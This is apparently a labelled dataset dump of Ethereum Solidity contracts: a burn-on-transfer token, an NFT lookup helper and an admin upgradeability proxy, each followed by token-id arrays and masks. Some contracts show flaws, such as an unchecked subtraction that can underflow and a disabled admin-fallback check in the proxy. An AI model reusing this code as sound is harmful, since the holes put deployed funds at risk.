_DGCBalance[msg.sender] = _DGCBalance[msg.sender].sub(value);
_DGCBalance[to] = _DGCBalance[to].add(_transfer);
_totalSupply = _totalSupply.sub(_d);
emit Transfer(msg.sender, to, _transfer);
emit Transfer(msg.sender, address(0), _d);
return true;
}
function distribute(address to, uint256 value) public returns (bool) {
require(value <= _DGCBalance[msg.sender]);
require(to != address(0));
require(msg.sender == RWALLET);
_DGCBalance[msg.sender] = _DGCBalance[msg.sender].sub(value);
_DGCBalance[to] = _DGCBalance[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
function allowance(address owner, address target) public view returns (uint256) {
return _allowed[owner][target];
}
function approve(address target, uint256 value) public returns (bool) {
require(target != address(0));
_allowed[msg.sender][target] = value;
emit Approval(msg.sender, target, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
require(value <= _DGCBalance[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_DGCBalance[from] = _DGCBalance[from].sub(value);
uint256 _d = value.div(BURN_RATE);
uint256 a = _totalSupply - MAX_REMAIN * 10 ** uint256(TOKEN_DECIMAL);
if (a <= 0) {
_d = 0;
}else if (a < _d){
_d = a;
}
uint256 _transfer = value.sub(_d);
_DGCBalance[to] = _DGCBalance[to].add(_transfer);
_totalSupply = _totalSupply.sub(_d);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, _transfer);
emit Transfer(from, address(0), _d);
return true;
}
function increaseAllowance(address target, uint256 addedValue) public returns (bool) {
require(target != address(0));
_allowed[msg.sender][target] = (_allowed[msg.sender][target].add(addedValue));
emit Approval(msg.sender, target, _allowed[msg.sender][target]);
return true;
}
function decreaseAllowance(address target, uint256 val) public returns (bool) {
require(target != address(0));
_allowed[msg.sender][target] = (_allowed[msg.sender][target].sub(val));
emit Approval(msg.sender, target, _allowed[msg.sender][target]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(amount != 0);
_DGCBalance[account] = _DGCBalance[account].add(amount);
emit Transfer(address(0), account, amount);
}
function burn(uint256 amount) external {
_sendBurn(msg.sender, amount);
}
function _sendBurn(address account, uint256 amount) internal {
require(amount != 0);
require(amount <= _DGCBalance[account]);
_totalSupply = _totalSupply.sub(amount);
_DGCBalance[account] = _DGCBalance[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function burnFrom(address account, uint256 amount) external {
require(amount <= _allowed[account][msg.sender]);
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_sendBurn(account, amount);
}
}
//OrderContract.sol
/**
* @param _tokenin20, _tokenin721: ERC20, ERC721
* @param _tokenout20, _tokenout721: ERC20, ERC721
* @param _rate -> weiRate:
* @param _slippage (max slippage which use for processing transaction)
* @param _useDGC: bool
* output: bool? revert:succeed
*
*/ | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1018,
1012,
2603,
1025,
1013,
1008,
1008,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1008,
1030,
2516,
1024,
15340,
15937,
1012,
2897,
1008,
1030,
4037,
1024,
16770,
1024,
1013,
1013,
15340,
15937,
1012,
2897,
1008,
1030,
23921,
1024,
16770,
1024,
1013,
1013,
1056,
1012,
2033,
1013,
15340,
15937,
7159,
6198,
1008,
1030,
10474,
1024,
16770,
1024,
1013,
1013,
10474,
1012,
4012,
1013,
15340,
15937,
7159,
6198,
1008,
20647,
19204,
2097,
2022,
2109,
2005,
7079,
12598,
1010,
9334,
2250,
25711,
3409,
28247,
1010,
1008,
2344,
3206,
4569,
2278,
1010,
4526,
10470,
1012,
1012,
1012,
1008,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
5703,
11253,
1006,
4769,
2040,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
21447,
1006,
4769,
3954,
1010,
4769,
4539,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
4651,
1006,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
14300,
1006,
4769,
4539,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
3853,
4651,
19699,
5358,
1006,
4769,
2013,
1010,
4769,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
6327,
5651,
1006,
22017,
2140,
1007,
1025,
2724,
4651,
1006,
4769,
25331,
2013,
1010,
4769,
25331,
2000,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
2724,
6226,
1006,
4769,
25331,
3954,
1010,
4769,
25331,
4539,
1010,
21318,
3372,
17788,
2575,
3643,
1007,
1025,
1065,
3075,
3647,
18900,
2232,
1063,
3853,
14163,
2140,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
2065,
1006,
1037,
1027,
1027,
1014,
1007,
1063,
2709,
1014,
1025,
1065,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1008,
1038,
1025,
20865,
1006,
1039,
1013,
1037,
1027,
1027,
1038,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4487,
2615,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
/**
*Submitted for verification at Etherscan.io on 2022-05-03
*/
/**
*Submitted for verification at Etherscan.io on 2021-03-28
*/
pragma solidity ^0.8.0;
interface IWaifus {
function balanceOf(address owner) external view returns (uint256);
function ownerOf(uint256 id) external view returns (address);
function tokenNameByIndex(uint256 id) external view returns (string memory);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
}
contract Accoomulator {
IWaifus WAIFUS = IWaifus(0x2216d47494E516d8206B70FCa8585820eD3C4946);
struct WaifuInfo {
uint256 tokenId;
address owner;
string name;
}
function accoomulatedTokenIdsOwned(address owner) external view returns (WaifuInfo[] memory) {
uint256 waifusOwned = WAIFUS.balanceOf(owner);
WaifuInfo[] memory tokenInfos = new WaifuInfo[](waifusOwned);
for (uint256 i = 0; i < waifusOwned; i++) {
uint256 id = WAIFUS.tokenOfOwnerByIndex(owner, i);
address _owner = WAIFUS.ownerOf(id);
string memory name = WAIFUS.tokenNameByIndex(id);
tokenInfos[i] = WaifuInfo(id, _owner, name);
}
return tokenInfos;
}
} | True | [
101,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
16798,
2475,
1011,
5709,
1011,
6021,
1008,
1013,
1013,
1008,
1008,
1008,
7864,
2005,
22616,
2012,
28855,
29378,
1012,
22834,
2006,
25682,
1011,
6021,
1011,
2654,
1008,
1013,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
8278,
1045,
21547,
25608,
1063,
3853,
5703,
11253,
1006,
4769,
3954,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
3853,
3954,
11253,
1006,
21318,
3372,
17788,
2575,
8909,
1007,
6327,
3193,
5651,
1006,
4769,
1007,
1025,
3853,
19204,
18442,
3762,
22254,
10288,
1006,
21318,
3372,
17788,
2575,
8909,
1007,
6327,
3193,
5651,
1006,
5164,
3638,
1007,
1025,
3853,
19204,
11253,
12384,
2121,
3762,
22254,
10288,
1006,
4769,
3954,
1010,
21318,
3372,
17788,
2575,
5950,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
1065,
3206,
16222,
17650,
20350,
1063,
1045,
21547,
25608,
23701,
25608,
1027,
1045,
21547,
25608,
1006,
1014,
2595,
19317,
16048,
2094,
22610,
26224,
2549,
2063,
22203,
2575,
2094,
2620,
11387,
2575,
2497,
19841,
11329,
2050,
27531,
27531,
2620,
11387,
2098,
2509,
2278,
26224,
21472,
1007,
1025,
2358,
6820,
6593,
23701,
11263,
2378,
14876,
1063,
21318,
3372,
17788,
2575,
19204,
3593,
1025,
4769,
3954,
1025,
5164,
2171,
1025,
1065,
3853,
16222,
17650,
8898,
18715,
18595,
5104,
12384,
2098,
1006,
4769,
3954,
1007,
6327,
3193,
5651,
1006,
23701,
11263,
2378,
14876,
1031,
1033,
3638,
1007,
1063,
21318,
3372,
17788,
2575,
23701,
25608,
12384,
2098,
1027,
23701,
25608,
1012,
5703,
11253,
1006,
3954,
1007,
1025,
23701,
11263,
2378,
14876,
1031,
1033,
3638,
19204,
2378,
14876,
2015,
1027,
2047,
23701,
11263,
2378,
14876,
1031,
1033,
1006,
23701,
25608,
12384,
2098,
1007,
1025,
2005,
1006,
21318,
3372,
17788,
2575,
1045,
1027,
1014,
1025,
1045,
1026,
23701,
25608,
12384,
2098,
1025,
1045,
1009,
1009,
1007,
1063,
21318,
3372,
17788,
2575,
8909,
1027,
23701,
25608,
1012,
19204,
11253,
12384,
2121,
3762,
22254,
10288,
1006,
3954,
1010,
1045,
1007,
1025,
4769,
1035,
3954,
1027,
23701,
25608,
1012,
3954,
11253,
1006,
8909,
1007,
1025,
5164,
3638,
2171,
1027,
23701,
25608,
1012,
19204,
18442,
3762,
22254,
10288,
1006,
8909,
1007,
1025,
19204,
2378,
14876,
2015,
1031,
1045,
1033,
1027,
23701,
11263,
2378,
14876,
1006,
8909,
1010,
1035,
3954,
1010,
2171,
1007,
1025,
1065,
2709,
19204,
2378,
14876,
2015,
1025,
1065,
1065,
102,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
/**
*Submitted for verification at Etherscan.io on 2022-04-03
*/
/*
█▄▄ █▀▀ █▀█ █▀█ █▄█
█▄█ ██▄ █▀▄ █▀▄ ░█░
*/
pragma solidity ^0.5.0;
// import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol";
contract Context {
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount)
external
returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender)
external
view
returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal pure{
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
// File: @openzeppelin/upgrades/contracts/utils/Address.sol
pragma solidity ^0.5.0;
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
// File: @openzeppelin/upgrades/contracts/upgradeability/BaseUpgradeabilityProxy.sol
pragma solidity ^0.5.0;
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
// File: @openzeppelin/upgrades/contracts/upgradeability/UpgradeabilityProxy.sol
pragma solidity ^0.5.0;
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
// File: @openzeppelin/upgrades/contracts/upgradeability/BaseAdminUpgradeabilityProxy.sol
pragma solidity ^0.5.0;
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal pure{
// require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
// File: @openzeppelin/upgrades/contracts/upgradeability/AdminUpgradeabilityProxy.sol
pragma solidity ^0.5.0;
/**
* @title AdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for
* initializing the implementation, admin, and init data.
*/
contract Berry is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount)
public
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender)
public
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount)
public
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
